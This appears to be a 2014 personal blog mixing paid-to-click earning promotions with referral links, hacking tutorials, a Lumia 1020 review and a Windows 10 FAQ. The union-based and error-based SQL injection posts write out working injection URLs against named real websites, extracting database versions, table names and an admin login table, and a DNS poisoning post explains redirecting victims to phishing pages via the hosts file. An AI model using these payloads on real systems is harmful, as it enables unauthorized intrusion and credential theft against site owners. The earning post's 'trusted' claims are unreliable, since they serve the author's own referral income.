Friday, 17 October 2014

How To Make Money online, Online Earning Trusted websites and Tips


   

IN THE NAME OF ALLAH, THE MOST BENEFICENT AND MERCIFUL.

As we know that nowadays everybody has joined the race of earning money, But they couldn't got any source.

Do you know that we can earn money from Internet?

Yes we can, nowadays there are many PTC websites that can give you money, This is quite too easy.

What you have to do to earn money ?

You don't have to do any hard work, it's too easy
just what you have to do is that click ads. you can earn by clicking ads.


Now a days there are many PTC websites and many of them are fake. So i can suggest you some PTC trusted websites.

1)   

Signup url: http://www.loganpbux.com/?ref=muneeb22

SPECIFICATIONS:

⇨ Earn Up to $0.07 for your click.
⇨ Earn Up to $0.07 for your referral click.
⇨ No investment required! 
⇨ Play AdGrid = Earn money playing Adgrid.
⇨ Read emails = Earn money for reading emails.
⇨ Rented Referrals only 0.40$.
⇨ Microjobs = Earn unlimited money by doing simple tasks.
⇨ Minimum payout $1.00.
⇨ Earn comission = For your referrals purchases.


2)       
Signup url: http://www.neobux.com/?r=muneeb12341234

SPECIFICATIONS:

Main benefits

- Effortless income
- Earn from home
- Guaranteed ads daily
- Detailed statistics
- Upgrade opportunities
- A dedicated community
- AdPrize + Offers



How much can I earn?

We do the hard work behind the scenes, you get the profits
The amount of money each user earns varies between the user's membership, the type and quantity of advertisements the user has viewed, the number of referrals the user has and the number of advertisements those referrals view.
Earnings calculator




$0.17 per day    $4.95 per month    $60.23 per year

3)

      

      Signup url: http://www.probux.com/?r=muneeb22

SPECIFICATIONS:

  • Earn from home
  • Guaranteed ads daily
  • Detailed statistics
  • Forum permissions
  • Upgrade plans
  • Instant Payment

Some Important Tips:

Start earning and when you earn at least 5$, then do a payout and don't buy or do anything with that money. What you have to do is that Upgrade your account, When you upgrade your account more and more ads will appear and you can earn more fastly.

Spread your referral link on social media and ask your friends to join you, You even got paid with your referral clicks.

That's all. Now start

THE ABOVE MENTIONED WEBS ARE USED BY ME SO I CAN SAY SURELY THAT THESE ARE TRUSTED.


Stay connected.
thanks.







Tuesday, 14 October 2014

SQL INJECTION UNION BASED

SQL INJECTION

IN THE NAME OF ALLAH THE MOST BENEFICENT AND MERCIFUL.

Today i am going to post a Tut. on Simple Sql Injection, Before I posted the Sql Injection error based but some of my friends ask me to make a tut. on simple and basic Sql injection.
So lets start.

1st take a Sql Vulnerable site.
I pick that one.

http://raahauges.com/view-news.php?id=8

Now put a  '  at the end.

Like that.

http://raahauges.com/view-news.php?id=8'

You will see that There is an error. {{
You have an error in your SQL syntax; check the manual that corresponds to your MariaDB server version for the right syntax to use near ''' at line 1}}
 There we  see the sql  error but sometimes it doesn't shows and instead of that something missed printing so we can say that it is vuln. to sql injection. Many of sites show the sql injection error.

Now you have to find the columns because the website data was stored in the columns, to find the columns use ORDER BY 

Like that:.
http://raahauges.com/view-news.php?id=8 order by 1 --+

(--+ is used to close your query )

By the up query you got the main page before putting '. Now keep incrementing the number like that.

http://raahauges.com/view-news.php?id=8 order by 1 --+ (load manually)
http://raahauges.com/view-news.php?id=8 order by 2 --+ (load manually)
http://raahauges.com/view-news.php?id=8 order by 3--+ (load manually)
http://raahauges.com/view-news.php?id=8 order by 4 --+ (load manually)
http://raahauges.com/view-news.php?id=8 order by 5 --+ (load manually)
http://raahauges.com/view-news.php?id=8 order by 6--+ (Unknown column '6' in 'order clause')

So we can came to know that the web have 5 columns.

Now we can get the Vulnerable column, To find use UNION ALL SELECT statement.
like that :.

http://raahauges.com/view-news.php?id=-8+UNION+ALL+SELECT+1,2,3,4,5--+

put a - after id= and before 8 to get printed the vuln. column.

  
here we got the vuln col. 3

Now we have to fetch the data from that column.
There are many Different commands to get data before getting the tables i will define some

@@version => to find version of the web  (just put @@version) in the vuln col.

http://raahauges.com/view-news.php?id=-8+UNION+ALL+SELECT+1,2,@@version,4,5--+

  

USER()
DATABASE()
IF((@@LOWER_CASE_TABLE_NAMES)=0,0x594553,0x4e4f)
IF((@@LOWER_CASE_FILE_SYSTEM)=0,0x594553,0x4e4f)
@@HOSTNAME
@@PORT
@@MYISAM_RECOVER_OPTIONS
@@VERSION_COMPILE_OS
@@WAIT_TIMEOUT


Just put any of them in the vuln col. and get your Desired result.

Now we have to find the tables from the vuln col.

For that purpose Leets named as trojan made a DIOS ( Dump In One Shot Query)  which will print all the columns and tables.

DIOS = 

Tuesday, 7 October 2014

DNS POISONING TUTORIAL

**::DNS POISONING TUTORIAL::**


INTRODUCTION:

What is DNS Poisoning ?
DNS (Domain name service or system) is also called Cache Poisoning in Domain Name and Corrupt the Internet Server or Provider. Basically an attacker will Inject any other IP address of website in DNS and Replace it with different IP and Web Server Domain name, so simply the domain and IP will create a loop holes and redirect user to the IP address with the Domain name.

As we know , Now Days Many Hackers Hacking Domain's via DNS Poisoning !
Before Today you Guyz Only read About DNS Poisoning Attack ! Means only theory :(
So, I am going to Show You Actually What Happen in DNS Poisoning!

A TYPICAL DNS QUERY:

  

    The Computer responds to our question like that.




The DNS is not secure.

‣ A computer sends a “question” to a DNS server, asking a
question like “What is the IP address for site.org?”

‣ The computer gets an answer, and if the answer appears to
match the question it asked, completely trusts that it is
correct.

‣ There are multiple ways that traffic on the Internet can be
intercepted and rerouted, or impersonated, so that the
answer given is false.

WHAT AN ATTACKER DO?

An Attacker can do following attacks using DNS Poisoning.
*System and Server Hijack
*Phishing
*Force downloading
*Complete Change Webpage and URL
*URL Poisoning
*Spreading botnets and malwares etc.
*Deface website


All-right, So here I'll show you tutorial on Windows OS. How can an attacker Poison your System and perform many types of Hacking. Listen, I'll teach you this attack on your system so you can understand, I won't give you DNS Changer malware it's very risky to give away DNS Changer malware. So if you want to learn this attack you've to make your own System as Target. First of all, I'll teach this attack to Windows users to understand and be definite to perform this attack.
 
--------------------------------------------------------------------------------------------------------------------------
DNS Poisoning -  Windows OS
--------------------------------------------------------------------------------------------------------------------------
 
It's very easy to DNS Poison windows user but it's really very hard to perform same thing without DNS Changer malware, Okay let's start but before starting we will learn little bit about "Hosts" file.
 
# Hosts File : The Hosts file is the computer file used in an Operating system to map hostnames to IP addresses and to locate IP to Web server Domain Name. Whenever any users type www.google.com in address bar and hit Enter then the foremast duty of browser is to scan hosts file & then proceeds.

 

So, I hope by looking at above picture you can understand how web browsers works, I've one request to look once again on Step 3 and 5 ... Got it ?? well lemme explain in step 3 the browser was searching for Google.com and in Step 5 it is searching for domain name IP. : What if an attacker changes Domain name IP with different IP of any other bogus website then browser will confuse and redirect any normal user to Different website with different Domain name, that's what we call DNS Poisoning attack.
 
Okay, let's do it manually on your own system :
 
Note : This tutorial is performed manually, and if you want to poison your victim's DNS then you'll need DNS Changing malware that I can't give away link. (It's very risky we've to keep records)
 
Manually DNS Poisoning tutorial
All-right you might know that, we've to modify hosts file to Poison victim's computer DNS.
Click on Start Button , type "Notepad" right click on it and "Run as administrator"
A Blank Notepad program pop-ups, Now click on "File" > "Open" and Locate to hosts file > C:\Windows\System32\drivers\etc Click on "All files" and you'll see 4 files in that folder.
Now, Choose "hosts" file and open it.
After all we have to modify this file. Go to bottom of the page and Hit enter to get new Line.
Now, How to Modify Hosts file, Just add two lines at the end like this:-
 
After writing that two lines Save it.
So, Now let's understand meaning of that two lines:
 
Advance Explanation
31.12.80.1 is the IP of facebook with the domain name of Google.com. Just try to understand the statement meaning. Here, we entered the IP of Website for Eg. 31.12.80.1 of facebook and we wrote domain as Google.com, Now....! whenever you'll search for google.com in your browser it will redirect you to IP of Facebook that means if any normal user will search for google.com he'll directly redirect to facebook.com without any knowledge. You can also change the IP and Domain, Suppose.
If you want to Poison your victims Computer DNS that redirects him from yahoo.com to any bogus website or Phishing website, then Ping yahoo.com get it's IP and Write it in Hosts file and replace domain name with your own Phishing page.

THANKS FOR READING
STAY CONNECTED.

Saturday, 4 October 2014

LFI Tutorial

             LOCAL FILE INCLUSION (LFI)

  


In the name of my GOD the most Beneficent and the Merciful.

Today I am posting This Local File Inclusion (LFI) Tutorial.

Lets start. 1. Getting RCE with LFI via /proc/self/environ

So first lets try getting etc/passwd to confirm it its directory traversal attack or not.

../ is used to get into upper ( parent ) Directory in *nix

Friday, 3 October 2014

Sql injection Error based

           

          SQL INJECTION ERROR BASED

In the Name of ALLAH the Most Beneficent and the Merciful

After a long time i am going to post a tut. which is about Error Base SQL Injection.
These type of injections are different from Union select.

Before we start you must have knowledge about union base sql injection.
I assume that you have knowledge about union base injections.

So lets start...

Here is the Vulnerable web.

Now start with the union base injection.



http://www.latintourdimensions.com/overview/product_detail.php?id=352'

   

See there we have Sql error.

Now find  the columns.

http://www.latintourdimensions.com/overview/product_detail.php?id=352 order by 9 --+  (ERROR)

http://www.latintourdimensions.com/overview/product_detail.php?id=352 order by 6 --+ (ERROR)

http://www.latintourdimensions.com/overview/product_detail.php?id=352 order by 5 --+ (NO ERROR)

So we have 5 Columns.

Now union select.

http://www.latintourdimensions.com/overview/product_detail.php?id=352 +UNION+ALL+SELECT+1,2,3,4,5 --+

When we do Union select there is an error  :: The used SELECT statements have a different number of columns ::




Now you have to do error base injection.

First find the version.

http://www.latintourdimensions.com/overview/product_detail.php?id=352+OR+1+GROUP+BY+CONCAT_WS(0x3a,VERSION(),FLOOR(RAND(0)*2))+HAVING+MIN(0)+OR+1--+

 
Here we find the version . :: 5.1.54-log:1::

Now find the Database.

http://www.latintourdimensions.com/overview/product_detail.php?id=352+AND(SELECT+1+FROM+(SELECT+COUNT(*),CONCAT((SELECT(SELECT+CONCAT(CAST(DATABASE()+AS+CHAR),0x7e))+FROM+INFORMATION_SCHEMA.TABLES+WHERE+table_schema=DATABASE()+LIMIT+0,1),FLOOR(RAND(0)*2))x+FROM+INFORMATION_SCHEMA.TABLES+GROUP+BY+x)a)--+
    
   

Here You get the database name, Now find the Tables.

http://www.latintourdimensions.com/overview/product_detail.php?id=352+AND(SELECT+1+FROM+(SELECT+COUNT(*),CONCAT((SELECT(SELECT+CONCAT(CAST(table_name+AS+CHAR),0x7e))+FROM+INFORMATION_SCHEMA.TABLES+WHERE+table_schema=DATABASE()+LIMIT+0,1),FLOOR(RAND(0)*2))x+FROM+INFORMATION_SCHEMA.TABLES+GROUP+BY+x)a)--+

   

See Here the first table. " Activities "

Increase the Limit to get More tables e.g

 LIMIT 0,1  Dot it to 1,1           2,1           3,1           4,1     and so on to extract more..

see..

http://www.latintourdimensions.com/overview/product_detail.php?id=352+AND(SELECT+1+FROM+(SELECT+COUNT(*),CONCAT((SELECT(SELECT+CONCAT(CAST(table_name+AS+CHAR),0x7e))+FROM+INFORMATION_SCHEMA.TABLES+WHERE+table_schema=DATABASE()+LIMIT+1,1),FLOOR(RAND(0)*2))x+FROM+INFORMATION_SCHEMA.TABLES+GROUP+BY+x)a)--+

  


See the second table is "AdminLogin" ..

http://www.latintourdimensions.com/overview/product_detail.php?id=352+AND(SELECT+1+FROM+(SELECT+COUNT(*),CONCAT((SELECT(SELECT+CONCAT(CAST(table_name+AS+CHAR),0x7e))+FROM+INFORMATION_SCHEMA.TABLES+WHERE+table_schema=DATABASE()+LIMIT+2,1),FLOOR(RAND(0)*2))x+FROM+INFORMATION_SCHEMA.TABLES+GROUP+BY+x)a)--+


See the third table is "Agencia"

and so on ....


Now find the admin details from the table AdminLogin

http://www.latintourdimensions.com/overview/product_detail.php?id=352+AND+(SELECT+1+FROM+(SELECT+COUNT(*),CONCAT((SELECT(SELECT+CONCAT(CAST(column_name+AS+CHAR),0x7e))+FROM+INFORMATION_SCHEMA.COLUMNS+WHERE+table_name=0x41646d696e4c6f67696e+AND+table_schema=DATABASE()+LIMIT+0,1),FLOOR(RAND(0)*2))x+FROM+INFORMATION_SCHEMA.TABLES+GROUP+BY+x)a)--+


 
There is the first column in table Admin Login.

**NOTE**
If the col in which admin details are stored is named different e.g  like this site the table which contains admin details is AdminLogin , other webs have may different so what u have to change in the querry is that 

See in my querry i changed column name AdminLogin into hex
if any other web has different column name you have to change this
e.g the column name is admin so u have to change it into hex and then replace that hex with the admin hex encoded value.

Thursday, 2 October 2014

Lumia 1020 full review camera , advantages . disadvantages , Key features , video specifiacatons





                

4.4 Out Of 5


INTRODUCTION:

This is probably what Microsoft was actually buying. Windows Phone handsets are getting lost in the high-end and it's the Lumia 1020 that can raise the platform above the rabble of Androids and successive iPhones. The basic design has been around since the Lumia 800 (the Nokia N9 even), but nothing in the world can make a more decisive difference than the PureView camera.
The Nokia Lumia 1020 might as well be Nokia's loudest bang on its way out (along with the to be announced Lumia 1520 phablet). And we'll probably see the history repeat itself much like with the Nokia N9, where the last product of a lineup is always the greatest.
With 41MP resolution, the 1020 camera has twice as many pixels as its nearest competitors. Three times as many if you want optical image stabilization. And the sensor is four times as big as most smartphone sensors and more than twice as big as the second-biggest sensor. The 808 PureView had a bigger sensor, but it has since retired and it didn't have the stabilization and bright aperture to begin with.
But we shouldn't let our focus on the camera detract from the smartphone experience. The Nokia Lumia 1020 equals the best of the (admittedly not very populous) Windows Phone world and the opposing BlackBerry world. And with Microsoft's tight control on the hardware allowing for optimizations not possible on Android, the 1020 shines throughout, not just in terms of camera.

CAMERA :

A 41-megapixel camera on a phone. You’d assume that was a typo if Nokia hadn’t already unveiled the 41-megapixel 808 Pureview last year, a technological tour-de-force that escaped mainstream appeal thanks largely to its orphaned Symbian operating system. With the Lumia 1020, Nokia has brought the innovative downsampling approach it debuted in the 808’s camera to a Windows Phone with a more relevant OS.
While zoom lenses that span from wide-angle to telescopic have been the norm on dedicated digicams for years, zoom optics remain impractical for thin phones (they exist only on the occasional camera-with-a-phone-in-it like Samsung’s Galaxy S4 Zoom). The “digital zoom” feature on most phones is generally a disappointing alternative.
Nokia changed that with the 808’s downsampling zoom, and the 1020 combines that technology with the optical image stabilization introduced in Nokia’s Lumia 920 that allows significantly better image quality in low light. On paper, that hardware combination makes the 1020 stand out impressively in a field in which incremental resolution bumps and often-gimmicky software features have been the name of the game. But do these great ideas translate into a great photographic experience? We put the Lumia 1020 through its picture-making paces to find out how its impressive imaging technology works in the real world. 

Key features

  • Quad-band GSM/GPRS/EDGE support
  • Quad-band 3G with 42 Mbps HSDPA and 5.7 Mbps HSUPA support
  • 4.5" 16M-color PureMotionHD+ AMOLED capacitive touchscreen of 1280 x 768 pixels; Corning Gorilla Glass 3; Nokia Glance
  • 41MP PureView sensor (38MP effective), 1/1.5" sensor size, 1.12µm, ZEISS lens, Optical Image Stabilization, xenon and LED flashes
  • 1080p@30fps video recording; 4x lossless digital zoom
  • 1.3MP front-facing camera
  • Windows Phone 8 OS with Nokia Amber
  • 1.5GHz dual-core Krait CPU, Adreno 225 GPU, Qualcomm MSM8960 chipset, 2GB of RAM
  • Wi-Fi 802.11 a/b/g/n, dual-band
  • GPS receiver with A-GPS and GLONASS support
  • Free lifetime voice-guided navigation
  • 32GB of inbuilt storage; 64GB Telefonica/O2 exclusive version
  • Active noise cancellation with a dedicated mic
  • Wireless charging with optional accessories
  • Built-in accelerometer, gyroscope and proximity sensor
  • Standard 3.5 mm audio jack
  • microUSB port
  • Bluetooth v3.0 with A2DP and file transfers
  • SNS integration
  • Xbox Live integration and Xbox management
  • NFC support
  • Digital compass
  • Nokia Music
  • FM radio

    Key Photographic / Video Specifications

  • 41-megapixel 1/1.5-inch backside-illuminated sensor
  • F2.2 lens
  • 25mm equivalent focal length in 16:9, 27mm in 4:3
  • 2.7x downsampling digital zoom
  • Optical image stabilization
  • Manual shutter speed, focus, and ISO control
  • Xenon flash
  • 1080p 30fps video recording
  • 1.2MP F2.4 front camera
  • Panorama mode
  • Nokia Smart Camera mode
  • Nokia Pro Cam mode

Main disadvantages

  • Camera bump on the back
  • Shot-to-shot time of several seconds is painful
  • Screen has average sunlight legibility
  • Non-user-replaceable battery
  • Wireless charging needs an extra charging case to work
  • No microSD card slot
  • Relatively low battery capacity
  • No system-wide file manager
  • No lockscreen shortcuts


    Some Pictures.















Wednesday, 1 October 2014

Windows 10

   Windows 10: Nine Things You Need To Know
      
Windows 10




As You know that Microsoft has canceled the Windows 9 and we just came to know that Windows 10 is releasing soon. So some things you need to know about windows 10 are as follows :


Windows 8 has had a bit of a tumultuous run, Something Microsoft is hoping to turn around with Windows 10. We got a brief glimpse at a Microsoft event, And while it did prove to be a tantalizing look at whats in store, there are still plenty of questions floating around, and a lot more to figure out before the final product is sitting on our hard drives.

If you've got questions, We've got some answers on the latest step for Windows.

1. When can i upgrade? And how much will it cost?


Microsoft expects to release the OS sometime in 2015, after the company's Build developer conference in April. If you're feeling adventurous, you can sign up for the Windows Insider Program on October 1 to get your hands on the early (and likely and buggy ) preview build. The cost for the retail version has yet to be determined.

2. Windows 10? What happened to Windows 9 ?


Windows 7 ate 9 . (LOL kidding). Microsoft wants us to think of the latest version of fundamental change to How Windows work, and the company is skipping a version number to show it.
   
Windows 10


3. I've Got a desktop, and a tablet. How will that work?


Windows 10 isn't just about PC's. The operating system will run on every thing from desktop all the way down to smartphones, and user interface will adjust accordingly.

4. What about apps?


Apps will be coming along for the ride too, though Microsoft hasn't explained how that's going to work. We do Know that you'll be able to buy one app from the Windows Store and expect it to run on all your devices. Developers will presumably need to make universal apps that will adjust their look and feel, depending on your devices size and capabilities.

5. Those full-screen " MODERN" apps were a pain. Are they still around ?


Those touch friendly, full screen apps that debugged with Windows 8 were alternately known as the " METRO" or " MODERN" design. For windows 10 , Full screen apps will be optional. LEts say you;re using a convertible 2 in 1 device, Like the surface pro 3 , For example. When the keyboard is docked, You'll see the standard desktop of Windows 10 "new". old school start menu. Once you take the device off of the keyboard base, The OS will allow you to switch to the finger friendly full screen mode Windows 8 users are likely familiar with.

6. I actually liked those modern apps, and bought a few. Are they still around ?


It's too soon to say how windows 8 developers will react to the changes, But Microsoft did show some of its own full screen Modern apps operating in a windowed mode.

  
Windows 10


7. And the start menu


If you hated Windows 8's Full screen Start screen , You're in the Luck : the new start menu harkens back to the good old days setting on the left side of the screen and presenting the familiar pop up column of shortcuts.

8. Never mind the apps.... I need to get things doe. Any improvements on that front ?



Windows 10 beefs up snap,  the function that lets your quickly arrange apps side by side, with a new quadrant layout lets you split your display up among up to four apps. There's also support for multi-desktop (finally), So you can keep all your work apps in one place and quickly side back to the desktop.
     

Windows 10


9. Windows 10 run on my machine ?


Its too early to say , Windows 8.1 did introduce 64 bit computing requirements that ruled out some ancient processors, but it otherwise played well with pc's that weren't too old.